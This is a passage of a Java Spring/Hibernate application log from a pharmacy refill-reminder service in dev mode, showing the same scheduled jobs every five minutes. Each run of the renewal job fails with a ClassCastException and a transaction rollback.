com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 20:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 20:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 20:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 20:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 20:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 20:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 20:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 20:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 20:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 21:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 21:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 21:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 21:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 21:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 21:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 21:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 21:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 21:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 21:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 21:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 21:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 21:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 21:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 21:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 21:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 21:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 21:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 21:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 21:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 21:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 21:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 21:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at 